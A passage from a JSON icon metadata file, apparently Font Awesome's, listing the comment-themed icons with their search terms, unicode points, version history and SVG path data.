      "1.0.0",
      "5.0.0",
      "5.0.9",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Right Speech Bubble",
        "bubble",
        "chat",
        "commenting",
        "conversation",
        "feedback",
        "message",
        "note",
        "notification",
        "sms",
        "speech",
        "texting"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f075",
    "label": "Comment",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 240c0 114.9-114.6 208-256 208c-37.1 0-72.3-6.4-104.1-17.9c-11.9 8.7-31.3 20.6-54.3 30.6C73.6 471.1 44.7 480 16 480c-6.5 0-12.3-3.9-14.8-9.9c-2.5-6-1.1-12.8 3.4-17.4l0 0 0 0 0 0 0 0 .3-.3c.3-.3 .7-.7 1.3-1.4c1.1-1.2 2.8-3.1 4.9-5.7c4.1-5 9.6-12.4 15.2-21.6c10-16.6 19.5-38.4 21.4-62.9C17.7 326.8 0 285.1 0 240C0 125.1 114.6 32 256 32s256 93.1 256 208z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 240c0 114.9-114.6 208-256 208c-37.1 0-72.3-6.4-104.1-17.9c-11.9 8.7-31.3 20.6-54.3 30.6C73.6 471.1 44.7 480 16 480c-6.5 0-12.3-3.9-14.8-9.9c-2.5-6-1.1-12.8 3.4-17.4l0 0 0 0 0 0 0 0 .3-.3c.3-.3 .7-.7 1.3-1.4c1.1-1.2 2.8-3.1 4.9-5.7c4.1-5 9.6-12.4 15.2-21.6c10-16.6 19.5-38.4 21.4-62.9C17.7 326.8 0 285.1 0 240C0 125.1 114.6 32 256 32s256 93.1 256 208z"
      },
      "regular": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M123.6 391.3c12.9-9.4 29.6-11.8 44.6-6.4c26.5 9.6 56.2 15.1 87.8 15.1c124.7 0 208-80.5 208-160s-83.3-160-208-160S48 160.5 48 240c0 32 12.4 62.8 35.7 89.2c8.6 9.7 12.8 22.5 11.8 35.5c-1.4 18.1-5.7 34.7-11.3 49.4c17-7.9 31.1-16.7 39.4-22.7zM21.2 431.9c1.8-2.7 3.5-5.4 5.1-8.1c10-16.6 19.5-38.4 21.4-62.9C17.7 326.8 0 285.1 0 240C0 125.1 114.6 32 256 32s256 93.1 256 208s-114.6 208-256 208c-37.1 0-72.3-6.4-104.1-17.9c-11.9 8.7-31.3 20.6-54.3 30.6c-15.1 6.6-32.3 12.6-50.1 16.1c-.8 .2-1.6 .3-2.4 .5c-4.4 .8-8.7 1.5-13.2 1.9c-.2 0-.5 .1-.7 .1c-5.1 .5-10.2 .8-15.3 .8c-6.5 0-12.3-3.9-14.8-9.9c-2.5-6-1.1-12.8 3.4-17.4c4.1-4.2 7.8-8.7 11.3-13.5c1.7-2.3 3.3-4.6 4.8-6.9c.1-.2 .2-.3 .3-.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M123.6 391.3c12.9-9.4 29.6-11.8 44.6-6.4c26.5 9.6 56.2 15.1 87.8 15.1c124.7 0 208-80.5 208-160s-83.3-160-208-160S48 160.5 48 240c0 32 12.4 62.8 35.7 89.2c8.6 9.7 12.8 22.5 11.8 35.5c-1.4 18.1-5.7 34.7-11.3 49.4c17-7.9 31.1-16.7 39.4-22.7zM21.2 431.9c1.8-2.7 3.5-5.4 5.1-8.1c10-16.6 19.5-38.4 21.4-62.9C17.7 326.8 0 285.1 0 240C0 125.1 114.6 32 256 32s256 93.1 256 208s-114.6 208-256 208c-37.1 0-72.3-6.4-104.1-17.9c-11.9 8.7-31.3 20.6-54.3 30.6c-15.1 6.6-32.3 12.6-50.1 16.1c-.8 .2-1.6 .3-2.4 .5c-4.4 .8-8.7 1.5-13.2 1.9c-.2 0-.5 .1-.7 .1c-5.1 .5-10.2 .8-15.3 .8c-6.5 0-12.3-3.9-14.8-9.9c-2.5-6-1.1-12.8 3.4-17.4c4.1-4.2 7.8-8.7 11.3-13.5c1.7-2.3 3.3-4.6 4.8-6.9c.1-.2 .2-.3 .3-.5z"
      }
    },
    "free": ["regular", "solid"]
  },
  "comment-dollar": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f651"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bubble",
        "chat",
        "commenting",
        "conversation",
        "feedback",
        "message",
        "money",
        "note",
        "notification",
        "pay",
        "sms",
        "speech",
        "spend",
        "texting",
        "transfer"
      ]
    },
    "styles": ["solid"],
    "unicode": "f651",
    "label": "Comment Dollar",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 448c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9zm20-312v13.9c7.5 1.2 14.6 2.9 21.1 4.7c10.7 2.8 17 13.8 14.2 24.5s-13.8 17-24.5 14.2c-11-2.9-21.6-5-31.2-5.2c-7.9-.1-16 1.8-21.5 5c-4.8 2.8-6.2 5.6-6.2 9.3c0 1.8 .1 3.5 5.3 6.7c6.3 3.8 15.5 6.7 28.3 10.5l.7 .2c11.2 3.4 25.6 7.7 37.1 15c12.9 8.1 24.3 21.3 24.6 41.6c.3 20.9-10.5 36.1-24.8 45c-7.2 4.5-15.2 7.3-23.2 9V344c0 11-9 20-20 20s-20-9-20-20V329.4c-10.3-2.2-20-5.5-28.2-8.4l0 0 0 0c-2.1-.7-4.1-1.4-6.1-2.1c-10.5-3.5-16.1-14.8-12.6-25.3s14.8-16.1 25.3-12.6c2.5 .8 4.9 1.7 7.2 2.4c13.6 4.6 24 8.1 35.1 8.5c8.6 .3 16.5-1.6 21.4-4.7c4.1-2.5 6-5.5 5.9-10.5c0-2.9-.8-5-5.9-8.2c-6.3-4-15.4-6.9-28-10.7l-1.7-.5c-10.9-3.3-24.6-7.4-35.6-14c-12.7-7.7-24.6-20.5-24.7-40.7c-.1-21.1 11.8-35.7 25.8-43.9c6.9-4.1 14.5-6.8 22.2-8.5V136c0-11 9-20 20-20s20 9 20 20z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 448c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9zm20-312v13.9c7.5 1.2 14.6 2.9 21.1 4.7c10.7 2.8 17 13.8 14.2 24.5s-13.8 17-24.5 14.2c-11-2.9-21.6-5-31.2-5.2c-7.9-.1-16 1.8-21.5 5c-4.8 2.8-6.2 5.6-6.2 9.3c0 1.8 .1 3.5 5.3 6.7c6.3 3.8 15.5 6.7 28.3 10.5l.7 .2c11.2 3.4 25.6 7.7 37.1 15c12.9 8.1 24.3 21.3 24.6 41.6c.3 20.9-10.5 36.1-24.8 45c-7.2 4.5-15.2 7.3-23.2 9V344c0 11-9 20-20 20s-20-9-20-20V329.4c-10.3-2.2-20-5.5-28.2-8.4l0 0 0 0c-2.1-.7-4.1-1.4-6.1-2.1c-10.5-3.5-16.1-14.8-12.6-25.3s14.8-16.1 25.3-12.6c2.5 .8 4.9 1.7 7.2 2.4c13.6 4.6 24 8.1 35.1 8.5c8.6 .3 16.5-1.6 21.4-4.7c4.1-2.5 6-5.5 5.9-10.5c0-2.9-.8-5-5.9-8.2c-6.3-4-15.4-6.9-28-10.7l-1.7-.5c-10.9-3.3-24.6-7.4-35.6-14c-12.7-7.7-24.6-20.5-24.7-40.7c-.1-21.1 11.8-35.7 25.8-43.9c6.9-4.1 14.5-6.8 22.2-8.5V136c0-11 9-20 20-20s20 9 20 20z"
      }
    },
    "free": ["solid"]
  },
  "comment-dots": {
    "aliases": {
      "names": ["commenting"],
      "unicodes": {
        "composite": ["1f4ac", "f27b"],
        "secondary": ["10f4ad"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "balloon",
        "bubble",
        "chat",
        "comic",
        "commenting",
        "conversation",
        "dialog",
        "feedback",
        "message",
        "more",
        "note",
        "notification",
        "reply",
        "sms",
        "speech",
        "speech balloon",
        "texting"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f4ad",
    "label": "Comment Dots",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 448c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9zM128 208a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 0a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm96 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 448c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9zM128 208a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 0a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm96 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M168.2 384.9c-15-5.4-31.7-3.1-44.6 6.4c-8.2 6-22.3 14.8-39.4 22.7c5.6-14.7 9.9-31.3 11.3-49.4c1-12.9-3.3-25.7-11.8-35.5C60.4 302.8 48 272 48 240c0-79.5 83.3-160 208-160s208 80.5 208 160s-83.3 160-208 160c-31.6 0-61.3-5.5-87.8-15.1zM26.3 423.8c-1.6 2.7-3.3 5.4-5.1 8.1l-.3 .5c-1.6 2.3-3.2 4.6-4.8 6.9c-3.5 4.7-7.3 9.3-11.3 13.5c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c5.1 0 10.2-.3 15.3-.8l.7-.1c4.4-.5 8.8-1.1 13.2-1.9c.8-.1 1.6-.3 2.4-.5c17.8-3.5 34.9-9.5 50.1-16.1c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9zM144 272a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm144-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm80 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M168.2 384.9c-15-5.4-31.7-3.1-44.6 6.4c-8.2 6-22.3 14.8-39.4 22.7c5.6-14.7 9.9-31.3 11.3-49.4c1-12.9-3.3-25.7-11.8-35.5C60.4 302.8 48 272 48 240c0-79.5 83.3-160 208-160s208 80.5 208 160s-83.3 160-208 160c-31.6 0-61.3-5.5-87.8-15.1zM26.3 423.8c-1.6 2.7-3.3 5.4-5.1 8.1l-.3 .5c-1.6 2.3-3.2 4.6-4.8 6.9c-3.5 4.7-7.3 9.3-11.3 13.5c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c5.1 0 10.2-.3 15.3-.8l.7-.1c4.4-.5 8.8-1.1 13.2-1.9c.8-.1 1.6-.3 2.4-.5c17.8-3.5 34.9-9.5 50.1-16.1c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9zM144 272a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm144-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm80 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "comment-medical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7f5"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "advice",
        "bubble",
        "chat",
        "commenting",
        "conversation",
        "diagnose",
        "feedback",
        "message",
        "note",
        "notification",
        "prescription",
        "sms",
        "speech",
        "texting"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7f5",
    "label": "Comment Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 448c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9zM224 160c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H288v48c0 8.8-7.2 16-16 16H240c-8.8 0-16-7.2-16-16V272H176c-8.8 0-16-7.2-16-16V224c0-8.8 7.2-16 16-16h48V160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 448c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9zM224 160c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H288v48c0 8.8-7.2 16-16 16H240c-8.8 0-16-7.2-16-16V272H176c-8.8 0-16-7.2-16-16V224c0-8.8 7.2-16 16-16h48V160z"
      }
    },
    "free": ["solid"]
  },
  "comment-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4b3"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bubble",
        "cancel",
        "chat",
        "commenting",
        "conversation",
        "feedback",
        "message",
        "mute",
        "note",
        "notification",
        "quiet",
        "sms",
        "speech",
        "texting"
      ]
    },
    "styles": ["solid"],
    "unicode": "f4b3",
    "label": "Comment Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L512.9 376.7C552.2 340.2 576 292.3 576 240C576 125.1 461.4 32 320 32c-67.7 0-129.3 21.4-175.1 56.3L38.8 5.1zM64 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9c37 0 72.3-6.4 104-17.9L82.9 161.3C70.7 185.6 64 212.2 64 240z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L512.9 376.7C552.2 340.2 576 292.3 576 240C576 125.1 461.4 32 320 32c-67.7 0-129.3 21.4-175.1 56.3L38.8 5.1zM64 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9c37 0 72.3-6.4 104-17.9L82.9 161.3C70.7 185.6 64 212.2 64 240z"
      }
    },
    "free": ["solid"]
  },
  "comment-sms": {
    "aliases": {
      "names": ["sms"],
      "unicodes": {
        "secondary": ["10f7cd"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "chat",
        "conversation",
        "message",
        "mobile",
        "notification",
        "phone",
        "sms",
        "texting"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7cd",
    "label": "Comment Sms",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 448c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9zM202.9 176.8c6.5-2.2 13.7 .1 17.9 5.6L256 229.3l35.2-46.9c4.1-5.5 11.3-7.8 17.9-5.6s10.9 8.3 10.9 15.2v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V240l-19.2 25.6c-3 4-7.8 6.4-12.8 6.4s-9.8-2.4-12.8-6.4L224 240v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V192c0-6.9 4.4-13 10.9-15.2zm173.1 38c0 .2 0 .4 0 .4c.1 .1 .6 .8 2.2 1.7c3.9 2.3 9.6 4.1 18.3 6.8l.6 .2c7.4 2.2 17.3 5.2 25.2 10.2c9.1 5.7 17.4 15.2 17.6 29.9c.2 15-7.6 26-17.8 32.3c-9.5 5.9-20.9 7.9-30.7 7.6c-12.2-.4-23.7-4.4-32.6-7.4l0 0 0 0c-1.4-.5-2.7-.9-4-1.4c-8.4-2.8-12.9-11.9-10.1-20.2s11.9-12.9 20.2-10.1c1.7 .6 3.3 1.1 4.9 1.6l0 0 0 0c9.1 3.1 15.6 5.3 22.6 5.5c5.3 .2 10-1 12.8-2.8c1.2-.8 1.8-1.5 2.1-2c.2-.4 .6-1.2 .6-2.7l0-.2c0-.7 0-1.4-2.7-3.1c-3.8-2.4-9.6-4.3-18-6.9l-1.2-.4c-7.2-2.2-16.7-5-24.3-9.6c-9-5.4-17.7-14.7-17.7-29.4c-.1-15.2 8.6-25.7 18.5-31.6c9.4-5.5 20.5-7.5 29.7-7.4c10 .2 19.7 2.3 27.9 4.4c8.5 2.3 13.6 11 11.3 19.6s-11 13.6-19.6 11.3c-7.3-1.9-14.1-3.3-20.1-3.4c-4.9-.1-9.8 1.1-12.9 2.9c-1.4 .8-2.1 1.6-2.4 2c-.2 .3-.4 .8-.4 1.9zm-272 0c0 .2 0 .4 0 .4c.1 .1 .6 .8 2.2 1.7c3.9 2.3 9.6 4.1 18.3 6.8l.6 .2c7.4 2.2 17.3 5.2 25.2 10.2c9.1 5.7 17.4 15.2 17.6 29.9c.2 15-7.6 26-17.8 32.3c-9.5 5.9-20.9 7.9-30.7 7.6c-12.3-.4-24.2-4.5-33.2-7.6l0 0 0 0c-1.3-.4-2.5-.8-3.6-1.2c-8.4-2.8-12.9-11.9-10.1-20.2s11.9-12.9 20.2-10.1c1.4 .5 2.8 .9 4.1 1.4l0 0 0 0c9.5 3.2 16.5 5.6 23.7 5.8c5.3 .2 10-1 12.8-2.8c1.2-.8 1.8-1.5 2.1-2c.2-.4 .6-1.2 .6-2.7l0-.2c0-.7 0-1.4-2.7-3.1c-3.8-2.4-9.6-4.3-18-6.9l-1.2-.4 0 0c-7.2-2.2-16.7-5-24.3-9.6C80.8 239 72.1 229.7 72 215c-.1-15.2 8.6-25.7 18.5-31.6c9.4-5.5 20.5-7.5 29.7-7.4c9.5 .1 22.2 2.1 31.1 4.4c8.5 2.3 13.6 11 11.3 19.6s-11 13.6-19.6 11.3c-6.6-1.8-16.8-3.3-23.3-3.4c-4.9-.1-9.8 1.1-12.9 2.9c-1.4 .8-2.1 1.6-2.4 2c-.2 .3-.4 .8-.4 1.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 448c141.4 0 256-93.1 256-208S397.4 32 256 32S0 125.1 0 240c0 45.1 17.7 86.8 47.7 120.9c-1.9 24.5-11.4 46.3-21.4 62.9c-5.5 9.2-11.1 16.6-15.2 21.6c-2.1 2.5-3.7 4.4-4.9 5.7c-.6 .6-1 1.1-1.3 1.4l-.3 .3 0 0 0 0 0 0 0 0c-4.6 4.6-5.9 11.4-3.4 17.4c2.5 6 8.3 9.9 14.8 9.9c28.7 0 57.6-8.9 81.6-19.3c22.9-10 42.4-21.9 54.3-30.6c31.8 11.5 67 17.9 104.1 17.9zM202.9 176.8c6.5-2.2 13.7 .1 17.9 5.6L256 229.3l35.2-46.9c4.1-5.5 11.3-7.8 17.9-5.6s10.9 8.3 10.9 15.2v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V240l-19.2 25.6c-3 4-7.8 6.4-12.8 6.4s-9.8-2.4-12.8-6.4L224 240v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V192c0-6.9 4.4-13 10.9-15.2zm173.1 38c0 .2 0 .4 0 .4c.1 .1 .6 .8 2.2 1.7c3.9 2.3 9.6 4.1 18.3 6.8l.6 .2c7.4 2.2 17.3 5.2 25.2 10.2c9.1 5.7 17.4 15.2 17.6 29.9c.2 15-7.6 26-17.8 32.3c-9.5 5.9-20.9 7.9-30.7 7.6c-12.2-.4-23.7-4.4-32.6-7.4l0 0 0 0c-1.4-.5-2.7-.9-4-1.4c-8.4-2.8-12.9-11.9-10.1-20.2s11.9-12.9 20.2-10.1c1.7 .6 3.3 1.1 4.9 1.6l0 0 0 0c9.1 3.1 15.6 5.3 22.6 5.5c5.3 .2 10-1 12.8-2.8c1.2-.8 1.8-1.5 2.1-2c.2-.4 .6-1.2 .6-2.7l0-.2c0-.7 0-1.4-2.7-3.1c-3.8-2.4-9.6-4.3-18-6.9l-1.2-.4c-7.2-2.2-16.7-5-24.3-9.6c-9-5.4-17.7-14.7-17.7-29.4c-.1-15.2 8.6-25.7 18.5-31.6c9.4-5.5 20.5-7.5 29.7-7.4c10 .2 19.7 2.3 27.9 4.4c8.5 2.3 13.6 11 11.3 19.6s-11 13.6-19.6 11.3c-7.3-1.9-14.1-3.3-20.1-3.4c-4.9-.1-9.8 1.1-12.9 2.9c-1.4 .8-2.1 1.6-2.4 2c-.2 .3-.4 .8-.4 1.9zm-272 0c0 .2 0 .4 0 .4c.1 .1 .6 .8 2.2 1.7c3.9 2.3 9.6 4.1 18.3 6.8l.6 .2c7.4 2.2 17.3 5.2 25.2 10.2c9.1 5.7 17.4 15.2 17.6 29.9c.2 15-7.6 26-17.8 32.3c-9.5 5.9-20.9 7.9-30.7 7.6c-12.3-.4-24.2-4.5-33.2-7.6l0 0 0 0c-1.3-.4-2.5-.8-3.6-1.2c-8.4-2.8-12.9-11.9-10.1-20.2s11.9-12.9 20.2-10.1c1.4 .5 2.8 .9 4.1 1.4l0 0 0 0c9.5 3.2 16.5 5.6 23.7 5.8c5.3 .2 10-1 12.8-2.8c1.2-.8 1.8-1.5 2.1-2c.2-.4 .6-1.2 .6-2.7l0-.2c0-.7 0-1.4-2.7-3.1c-3.8-2.4-9.6-4.3-18-6.9l-1.2-.4 0 0c-7.2-2.2-16.7-5-24.3-9.6C80.8 239 72.1 229.7 72 215c-.1-15.2 8.6-25.7 18.5-31.6c9.4-5.5 20.5-7.5 29.7-7.4c9.5 .1 22.2 2.1 31.1 4.4c8.5 2.3 13.6 11 11.3 19.6s-11 13.6-19.6 11.3c-6.6-1.8-16.8-3.3-23.3-3.4c-4.9-.1-9.8 1.1-12.9 2.9c-1.4 .8-2.1 1.6-2.4 2c-.2 .3-.4 .8-.4 1.9z"
      }
    },
    "free": ["solid"]
  },
  "comments": {
    "aliases": {
      "unicodes": {
        "composite": ["1f5ea", "f0e6"],
        "secondary": ["10f086"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Two Speech Bubbles",
        "bubble",
        "chat",
        "commenting",
        "conversation",
        "feedback",
        "message",
        "note",
        "notification",
        "sms",
        "speech",
        "texting"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f086",
    "label": "Comments",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M208 352c114.9 0 208-78.8 208-176S322.9 0 208 0S0 78.8 0 176c0 38.6 14.7 74.3 39.6 103.4c-3.5 9.4-8.7 17.7-14.2 24.7c-4.8 6.2-9.7 11-13.3 14.3c-1.8 1.6-3.3 2.9-4.3 3.7c-.5 .4-.9 .7-1.1 .8l-.2 .2 0 0 0 0C1 327.2-1.4 334.4 .8 340.9S9.1 352 16 352c21.8 0 43.8-5.6 62.1-12.5c9.2-3.5 17.8-7.4 25.3-11.4C134.1 343.3 169.8 352 208 352zM448 176c0 112.3-99.1 196.9-216.5 207C255.8 457.4 336.4 512 432 512c38.2 0 73.9-8.7 104.7-23.9c7.5 4 16 7.9 25.2 11.4c18.3 6.9 40.3 12.5 62.1 12.5c6.9 0 13.1-4.5 15.2-11.1c2.1-6.6-.2-13.8-5.8-17.9l0 0 0 0-.2-.2c-.2-.2-.6-.4-1.1-.8c-1-.8-2.5-2-4.3-3.7c-3.6-3.3-8.5-8.1-13.3-14.3c-5.5-7-10.7-15.4-14.2-24.7c24.9-29 39.6-64.7 39.6-103.4c0-92.8-84.9-168.9-192.6-175.5c.4 5.1 .6 10.3 .6 15.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
